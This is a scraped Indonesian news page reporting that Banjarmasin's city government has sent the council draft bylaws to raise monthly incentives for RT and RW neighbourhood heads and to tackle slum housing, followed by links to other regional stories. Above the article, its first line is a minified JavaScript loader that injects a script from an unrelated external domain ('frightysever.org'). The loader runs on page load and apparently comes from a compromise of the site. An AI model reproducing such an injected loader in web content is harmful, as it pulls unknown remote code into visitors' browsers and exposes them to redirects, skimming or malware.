(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Pemko Banjarmasin Bakal Naikkan Insentif RT dan RW


BANJARMASIN, Ada kabar gembira untuk para Ketua Rukun Tetangga (RT) dan  Rukun Warga (RW) se Kota Banjarmasin. Pemko Banjarmasin berencana menaikan insentif bulanan mereka. Hal ini dapat dilihat dengan diusulkannya draf Raperda perubahan kedua atas Perda Kota Banjarmasin  Nomor 23 tahun 2010 tentang Pedoman Penyelenggaraan Lembaga Kemasyarakatan RT dan RW di Banjarmasin ke DPRD.

Selain itu, dalam Sidang Paripurna yang dihadiri Plh Sekda Kota Banjarmasin H A Hamdi dan jajaran kepala SKPD lingkup Pemko Banjarmasin, diusulkan juga draf Raperda pencegahan dan peningkatan kualitas terhadap perumahan kumuh dan permukiman kumuh.

Walikota Banjarmasin Ibnu Sina yang hadir langsung dalam sidang tersebut mengatakan, perubahan kedua atas Perda Nomor 23 tahun 2010 itu dilakukan untuk mengatur dana operasional RT dan RW dalam melaksanakan tugas, serta beberapa ketentuan lainnya.

“Jika setelah dilakukan pengkajian dan dipandang perlu, maka berkenaan dengan hal tersebut Pemko Banjarmasin  telah mempersiapkan perangkat hukum berupa rancangan Perda yang disampaikan kepada para anggota dewan,” ujarnya.

Lebih lanjut dikatakannya, untuk Perda tentang pencegahan dan peningkatan kualitas perumahan kumuh dan permukiman kumuh, adalah merupakan instrumen mencegah bertumbuhnya dan berkembangnya kekumuhan pada perumahan dan permukiman yang layak huni.

Perda tersebut, terangnya, merupakan landasan hukum untuk penanganan kumuh di daerah, sebagai peraturan turunan dari UU Nomor 1 tahun 2011 tentang Perumahan dan Kawasan Permukiman.

“Perda ini diharapkan dapat memuat pengaturan sebagaimana telah diatur dalam perundangan di tingkat nasional dan dilengkapi dengan muatan lokal yang spesifik untuk Kota Banjarmasin,” imbuhnya.

Di Kota Banjarmasin area kumuhnya sekira 500 hektar, dan yang tertangani baru sekira 30 persen. Dari 500 hektare area kumuh tersebut, 40 persen kekumuhan itu banyak terjadi di bantaran sungai. Karenannya, dengan adanya Perda tersebut  maka diharapkan target 100 persen  akses air minum, 0 persen kawasan permukiman kumuh, dan 100 persen  akses sanitasi layak, pada tahun 2019 nanti dapat terwujud.(ammar)

Reporter : Ammar
Editor : Chell

Desy Arfianty

Recent Posts

Tugu Adipura Banjarbaru Layak Dipasang APILL, Tunggu Rekomendasi Resmi BPTD dan BPJN

KANALKALIMANTAN.COM, BANJARBARU - Ruas kawasan Tugu Adipura di Jalan Ahmad Yani Kota Banjarbaru, Kalimantan Selatan… Read More

10 jam ago

Kumpulkan Caleg Terpilih dan Pengurus DPD, PAN Kalsel ‘Panaskan Mesin’ Hadapi Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Pasca pelaksanaan Pemilu 2024, Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN)… Read More

12 jam ago

Silaturahmi Camat Lurah RT RW, Paman Birin Cerita Pernah Jadi Lurah dan Sekcam

KANALKALIMANTAN.COM, BANJARMASIN - Gubernur Kalimantan Selatan (Kalsel) H Sahbirin Noor bercerita perjalanan karirnya sebelum menjadi… Read More

15 jam ago

APILL Terpasang di Samsat Banjarbaru, Dua Jalan Jadi Perempatan

DPUPR Banjarbaru akan Bongkar Median Sepanjang 35 Meter Read More

15 jam ago

Chaos Banjarmasin di Atas Kanvas, Tragedi Kelam Jumat Kelabu 23 Mei 1997

“Setiap goresan kuas di lukisan ini, saya terbayang, merasakan terbawa kedalam suasana, di saat kerusuhan… Read More

19 jam ago

Perpisahan Siswa SMAN 1 Kapuas, Erlin Hardi : Belajar, Belajar, dan Belajar!

KANALKALIMANTAN.COM, KUALA KAPUAS - Pendidikan merupakan tolak ukur kemajuan suatu bangsa. Dengan pendidikan yang baik… Read More

20 jam ago

This website uses cookies.